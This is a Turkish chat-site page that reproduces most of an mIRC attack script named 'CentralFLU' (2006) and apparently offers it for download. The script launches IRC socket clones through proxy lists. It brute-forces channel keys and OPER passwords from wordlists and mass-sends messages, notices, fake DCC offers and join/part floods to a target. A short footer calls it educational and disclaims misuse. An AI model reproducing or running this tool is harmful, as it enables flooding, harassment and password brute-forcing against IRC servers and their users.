if (%cpassxd == $null) { Noclon ¡No Hay Lista Pass! | did -u central 180 | halt }
if ($did(central,180).state == 0) { .timerbuscarr off | did -r central 162 | did -a central 180 Buscar | halt }
did -r central 162
did -a central 162 ||————–B—-U—S—-C—-A—-N—-D—-O————-||
did -a central 180 Parar
.timerbuscarr 0 $did(central,161) kanibusk
}
if ($did == 188) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | did -u central 188 | halt }
if (%cpass0xd == $null) { Noclon ¡No Hay Lista Pass! | did -u central 188 | halt }
if ($did(central,188).state == 0) { .timerbuscarr1 off | did -r central 185 | did -a central 188 Buscar | halt }
did -r central 185
did -a central 185 ||————–B—-U—S—-C—-A—-N—-D—-O————-||
did -a central 188 Parar
.timerbuscarr1 0 $did(central,186) kanibusk
}
if ($did == 193) {
set %Cpass0xD $dir=”CentralFLU (Seleccione Lista Password)” | did -r central 187,195 | did -a central 187 $gettok(%Cpass0xD,-1,92) | did -a central 195 $lines(%Cpass0xD) | set %ordenpass1 1
}
}
alias -l kanilog {
if (%ordenlog > $lines(%clogxd)) { .timerloger* off | did -a central 150 Reproducir | did -u central 150 | set %ordenlog 1 | halt }
set %stdio $read -l [ $+ [ %ordenlog [ $+ [ $2 ] ] ] ] %ClogxD
if ( > !isin %stdio ) { goto saltaline }
if ( < isin %stdio ) {
if ( > isin %stdio) {
if ( $sock(sclonXP*,*) == 0 ) .timerloger off
sockwrite -tn $sock(sclonxp*, $+ $rand(1,$sock(sclonXP*,*))) privmsg $did(central,146) : $mid($gettok(%stdio,2-,62),2-)
}
}
:saltaline
inc %ordenlog [ $+ [ $2 ] ]
}
alias -l kanibusk {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | halt }
if ($did(central,180).state == 1) {
if (%ordenpass > $lines(%cpassxd)) { .timerbuscarr off | did -a central 180 Buscar | did -u central 180 | did -r central 162 | did -a central 162 Lista Terminada | set %ordenpass 1 | halt }
set %cenRpass 1
while ($sock(sclonX*,%cenRpass) != $null) {
set %stdio2 $read -l [ $+ [ %ordenpass [ $+ [ $2 ] ] ] ] %cpassxd
sockwrite -tn $sock(sclonX*,%cenRpass) join $did(central,155) %stdio2
sockmark $sock(sclonX*,%cenRpass) $sock(sclonX*,%cenRpass) %stdio2
inc %cenRpass
inc %ordenpass
}
}
if ($did(central,188).state == 1) {
if (%ordenpass1 > $lines(%cpass0xd)) { .timerbuscarr1 off | did -a central 188 Buscar | did -u central 188 | did -r central 185 | did -a central 185 Lista Terminada | set %ordenpass1 1 | halt }
set %cenRpass 1
while ($sock(sclonX*,%cenRpass) != $null) {
set %stdio2 $read -l [ $+ [ %ordenpass1 [ $+ [ $2 ] ] ] ] %cpass0xd
sockwrite -tn $sock(sclonX*,%cenRpass) oper $did(central,184) %stdio2
sockmark $sock(sclonX*,%cenRpass) $sock(sclonX*,%cenRpass) %stdio2
inc %cenRpass
inc %ordenpass1
}
}
}
alias Noclon {
if ($dialog(Verror)) { dialog -x Verror Verror }
set %mensajitos $1-
dialog -amo Verror Verror
}
dialog Verror {
title “CentralFLU”
size -1 -1 73 32
option dbu
text “” 1, 2 3 69 13, center
box “”, 2, 1 -2 71 33
button “Aceptar”, 3, 21 19 27 9, OK flat
}
on *:dialog:Verror:init:0:{
if ( $gettok(%mensajitos,1,32) != * ) { did -a Verror 1 %mensajitos }
unset %mensajitos
mdx MarkDialog Verror
mdx SetDialog Verror bgcolor $rgb(94,130,171))
mdx SetColor $dname 1,2 textbg $rgb(94,130,171))
mdx SetColor $dname 1 background $rgb(94,130,171))
}
on *:dialog:central:init:0:{
dialog -t central CentralFLU By kAnIhO V2-BetA © Lista: $gettok(%Cproxylist,-1,92) $lines(%Cproxylist)
.timerxContadorClon -o 0 0 contadorClon
if (%cenlistaN) { did -b central 54,58,59 }
CnickR
if (%nadna == $null) {
did -a central 20 91.192.111.58
did -a central 21 6667
did -a central 50 +b
did -a central 50 -b
did -c central 50 1
did -a central 52 +o
did -a central 52 -o
did -c central 52 1
did -c central 76
did -a central 144 $gettok(%ClogxD,-1,92)
did -a central 153 $lines(%clogxd)
did -a central 158 $gettok(%cpassxd,-1,92)
did -a central 159 $lines(%cpassxd)
did -a central 187 $gettok(%cpass0xd,-1,92)
did -a central 195 $lines(%cpass0xd)
did -a central 164 %cenporcent
did -a central 196 %cenporcent1
did -a central 183 %cenporcent2
}
mdx MarkDialog central
mdx SetDialog central bgcolor $rgb(94,130,171)
mdx SetColor $dname 22,23,35,55,56,63,64,65,67,75,76,77,78,88,89,92,97,98,112,113,114,126,135,136,145,154,143,147,144,148,151,153,156,157,158,159,160,162,164,183,185,187,190,191,192,194,195,196 textbg $rgb(94,130,171))
mdx SetColor $dname 22,23,35,55,56,63,65,75,78,88,89,92,112,113,114,126,135,136,145,154,194 text $rgb(255,255,255))
mdx SetColor $dname 22,23,35,55,56,63,64,65,67,75,76,77,78,88,89,92,97,98,112,113,114,126,135,136,145,154,143,147,144,148,151,153,156,157,158,159,160,162,164,183,185,187,190,191,192,194,195,196 background $rgb(94,130,171))
mdx SetColor $dname 20,21,34,36,37,38,39,40,41,42,43,44,49,50,52,51,53,57,58,59,71,87,110,115,116,117,121,123,125,131,132,134,139,141,146,149,155,161,184,186 textbg $rgb(254,254,222))
mdx SetColor $dname 20,21,34,36,37,38,39,40,41,42,43,44,49,50,52,51,53,57,58,59,71,87,110,115,116,117,121,123,125,131,132,134,139,141,146,149,155,161,184,186 background $rgb(254,254,222))
mdx SetColor $dname 94,95 textbg $rgb(94,130,171))
mdx SetColor $dname 94,95 background $rgb(94,130,171))
mdx SetColor $dname 97,98 text $rgb(255,255,255))
mdx SetColor $dname 102,103 text $rgb(189,190,189)
mdx SetColor $dname 93,96,99,102,103,105 textbg $rgb(94,130,171))
mdx SetColor $dname 93,96,99,102,103 background $rgb(94,130,171))
mdx SetColor $dname 99,108 text $rgb(0,0,80))
mdx SetColor $dname 108 textbg $rgb(94,130,171))
mdx SetColor $dname 108 background $rgb(94,130,171))
mdx SetFont $dname 99 50 700 Impact
mdx SetFont $dname 93,96 23 900 Impact
mdx SetFont $dname 103 19 400 arial black
mdx SetFont $dname 108 43 400 arial black
mdx SetFont $dname 102,105 30 400 arial black
mdx SetFont $dname 104 27 400 arial black
}
alias -l contadorClon {
if ($dialog(central) == $null) && ($window(@central) == $null ) { if ($sock(sclo*,n) != 0 ) { sockwrite -nt sclo* quit 15,2CentralFLU } | sockclose sclo* | .timerxcontadorClon off | .timerclonstat* off | .timerent* off | unset %lee* | unset %estadoipoproxy | unset %sclonproxy | unset %nickpro* | unset %sas | unset %cambionick* | unset %listaproZ* | unset %basenick | unset %Nline | unset %ajt | unset %nickip | unset %serveryport | unset %jodenicks* | unset %Cen* | return }
if ($dialog(central) != $null) { did -a central 64 $str(0, $calc( 3 – $len($sock(sclonX*,0))))) $+ $calc($sock(sclonXN*,0) + $sock(sclonXP*,0)) $+ $chr(47) $+ $str(0,$calc( 3 – $len($sock(sclo*,0)))) $+ $calc($sock(sclo*,0) – $sock(sclo,0)) }
if ($dialog(central) != $null) { did -r central 98 | did -a central 98 $sock(sclonXP*,*)) } { did -r central 97 | did -a central 97 $sock(sclonXN*,*)) | did -a central 135 $did(central,110,0).sel }
if ($timer(buscarr) != $null ) {
if ($did(central,180).state == 1 ) {
set %cenporcent $mid($calc( %ordenpass * 100 / $lines(%cpassxd) ),1,5) $+ %
if ( $did(central,164) == %cenporcent) { halt }
if ($dialog(central) != $null) { did -r central 164 | did -a central 164 %cenporcent }
}
}
if ($timer(buscarr1) != $null ) {
if ($did(central,188).state == 1 ) {
set %cenporcent1 $mid($calc( %ordenpass1 * 100 / $lines(%cpass0xd) ),1,5) $+ %
if ( $did(central,196) == %cenporcent1) { halt }
if ($dialog(central) != $null) { did -r central 196 | did -a central 196 %cenporcent1 }
}
}
if ($timer(loger) != $null) {
set %cenporcent2 $mid($calc( %ordenlog * 100 / $lines(%clogxd) ),1,5) $+ %
if ( $did(central,183) == %cenporcent2) { halt }
did -a central 183 %cenporcent2
}
if ($timer(c) == $null) { did -u central 66 }
if ($sock(sclonX*,N) == 0) { .timercen* off }

}
alias -l opcionesCon {
if ($dialog(opcionesCon)) { dialog -x opcionesCon opcionesCon }
dialog -amo opcionesCon opcionesCon
}
dialog opcionesCon {
title “CentralFLU”
size -1 -1 145 111
option dbu
text “CentralFLU By kAnIho © 2006”, 3, 26 101 140 90, read
radio “Clones Por Proxy”, 1, 5 19 53 10,group
radio “Clones Por IP”, 4, 5 7 50 9
box “”, 2, 1 95 143 16
button “Lista Proxy”, 6, 58 19 30 9, flat
box “Nicks Personalizados”, 7, 1 30 143 20
button “Lista Nicks”, 18, 58 39 30 9, flat
button “ACEPTAR”, 8, 3 81 139 16, flat ok
box “Conexiones”, 9, 1 0 143 30
check “Activar”, 10, 5 39 32 10
radio “Infochat”, 11, 5 58 39 10,group
radio “Hispachat”, 12, 5 68 39 10,
radio “club-internet”, 13, 95 58 43 10,
radio “terravista”, 14, 95 68 38 10,
edit “”, 15, 90 39 38 10, read autohs
edit “”, 16, 90 19 38 10, read autohs
box “HashCode ya.com”, 17, 1 50 143 29, disable
box “”, 5, 1 75 143 98
text “”, 20, 129 21 13 8
text “”, 19, 129 41 13 8
}
on 1:dialog:opcionesCon:init:0:{
if (%cenlistaN) { did -c opcionesCon 10 }
did -c opcionesCon 1
did -c opcionesCon 11
did -a opcionesCon 15 $gettok(%Clistanicks,-1,92)
did -a opcionesCon 16 $gettok(%Cproxylist,-1,92)
did -a opcionesCon 19 $lines(%Clistanicks)
did -a opcionesCon 20 $lines(%Cproxylist)
mdx MarkDialog opcionesCon
mdx SetDialog opcionesCon bgcolor $rgb(94,130,171))
mdx SetColor $dname 1,2,3,4,5,6,7,9,10,11,12,13,14,15,16,17,19,20 textbg $rgb(94,130,171))
mdx SetColor $dname 1,2,3,4,5,6,7,9,10,11,12,13,14,15,16,17,19,20 background $rgb(94,130,171))
mdx SetColor $dname 7,9,17 text $rgb(255,255,255))
mdx SetFont $dname 3 17 90 arial black
}
on *:dialog:opcionesCon:sclick:*:{
if ($did == 6) { set %Cproxylist $dir=”CentralFLU (Seleccione La Lista De Proxys)” | did -r opcionesCon 16 | did -a opcionesCon 16 $gettok(%Cproxylist,-1,92) | did -a opcionesCon 20 $lines(%Cproxylist) }
if ($did == 18) { set %Clistanicks $dir=”CentralFLU (Seleccione La Lista De Nicks)” | did -r opcionesCon 15 | did -a opcionesCon 15 $gettok(%Clistanicks,-1,92) | did -a opcionesCon 19 $lines(%Clistanicks) }
if ($did == 8) {
if ($did(opcionesCon,10).state == 1 ) { set %cenlistaN %Clistanicks | did -b central 54,58,59 }
if ($did(opcionesCon,10).state == 0 ) { unset %cenlistaN | did -e central 54,58,59 }
if ($did(opcionesCon,1).state == 0 ) { did -r central 67 | did -a central 67 Su IP | dialog -t central CentralFLU By kAnIhO V2-BetA Lista: $gettok(%Cproxylist,-1,92) $lines(%Cproxylist) }
if ($did(opcionesCon,1).state == 1 ) { did -r central 67 | did -a central 67 Via Proxy | dialog -t central CentralFLU By kAnIhO V2-BetA Lista: $gettok(%Cproxylist,-1,92) $lines(%Cproxylist) }
}
}
alias -l clonstat {
set %e 0
:one
set %u %e + 1
if ($sock(sclonXP*,%u) == $null ) goto two
if ($did(central,71,%u).text == $null ) goto pelde
if ($sock(sclonXP*,%u) == $did(central,71,%u).text) goto repe
:pelde
if (%ajt == k ) goto two
set %ajt $sock(sclonXP*,%u).ip $+ : $+ $sock(sclonXP*,%u).port
did -i central 71 $did(central,71).lines %ajt
:repe
unset %e
set %e %u
goto one
:two
unset %e
unset %u
unset %st
halt
}
alias -l clonstatinfo {
set %e 0
:pone
set %u %e + 1
if ($sock(sclonX*,%u) == $null ) goto two2
if (%ajt == k ) goto two2
set %ajt $sock(sclonX*,%u).ip $+ : $+ $sock(sclonX*,%u).port $+ $chr(32) $+ ———– $sock(sclonX*,%u) $+ $chr(32) $+ ———– $sock(sclonX*,%u).to $+ (Seg) $+ $chr(32) $+ ———– $remove($gettok($sock(sclonX*,%u).mark,1,32),sclonxp)
did -i central 71 $did(central,71).lines %ajt
unset %letrita
unset %ajt
unset %e
set %e %u
goto pone
:two2
unset %e
unset %u
unset %st
halt
}
alias -l CnickR {
did -r central 110
if ($sock(sclonxp*,0) > 0) {
unset %cenCin*
set %cenCintotal $sock(sclonxp*,0)
set %cenCinuno 1
while (%cenCinuno <= %cenCintotal) {
set %apa307 $sock(sclonxp*, $+ %cenCinuno )
did -a central 110 $remove( $sock(sclonxp*, $+ %cenCinuno ) , sclonxp)
inc %cenCinuno
}
}
}
alias usa2 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp67
sockwrite -nt sclonxp $+ $1- privmsg $did(central,125) : $did(central,121)
:Trp67
}
alias usa3 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp68
sockwrite -nt sclonxp $+ $1- privmsg $did(central,125) : $did(central,123)
:Trp68
}
alias usa4 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp69
sockwrite -nt sclonxp $+ $1- notice $did(central,125) : $did(central,131)
:Trp69
}
alias usa5 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp90
sockwrite -nt sclonxp $+ $1- privmsg $did(central,125) :DCC SEND $replace($did(central,132), $chr(32) ,_) 3639556963 80 5353
:Trp90
}
alias usa6 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp91
sockwrite -nt sclonxp $+ $1- quit : $did(central,134)
:Trp91
}
alias usa7 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp92
sockwrite -nt sclonxp $+ $1- $did(central,141)
:Trp92
}
alias usa8 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp93
sockwrite -nt sclonxp $+ $1- join $did(central,125)
:Trp93
}
alias usa9 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp94
sockwrite -nt sclonxp $+ $1- part $did(central,125)
:Trp94
}
alias usa10 {
if ($sock(sclonxp $+ $1-).status != active) goto Trp95
sockwrite -nt sclonxp $+ $1- part $did(central,125) | sockwrite -nt sclonxp $+ $1- join $did(central,125)
:Trp95
}
;VLT 2006 v2-BetA

Tekrar ediyorum egitim amaclı sundugunuz bu program bazı degerleri degiştirilmiştir.. kötüye kullanımdan sorumlu degiliz sadece egitim amaclı bir programdır..

Çalışma prensebi olarak proxy lerle ve onlara dayalı bir programdır  hatırlatmak isterim korumalardada aynı prensiple anti saldırı programlar yazılmak tadır .

Ekleyen : - Tarih: 23 Temmuz 2015 - 7:27 PM - Okunma Sayısı :
chat, chat siteleri Google
chat, chat siteleri

BENZER İÇERİKLER

İlginizi Çekebilecek Diğer İçeriklerimiz

Berat Kandilinin Anlamı ve ÖnemiSehirlerSohbet.Com Şehirler Sohbet

Giden sevgilinin ardındanSehirlerSohbet.Com Şehirler Sohbet

kameralı sohbetSehirlerSohbet.Com Şehirler Sohbet

DİĞER YORUMLAR

Yorumlarınızı Paylaşabilirsiniz

İsminiz

E-Posta Adresiniz

Cevabınız

[…] irc server saldırı addonları ve programları […]



Sohbet haber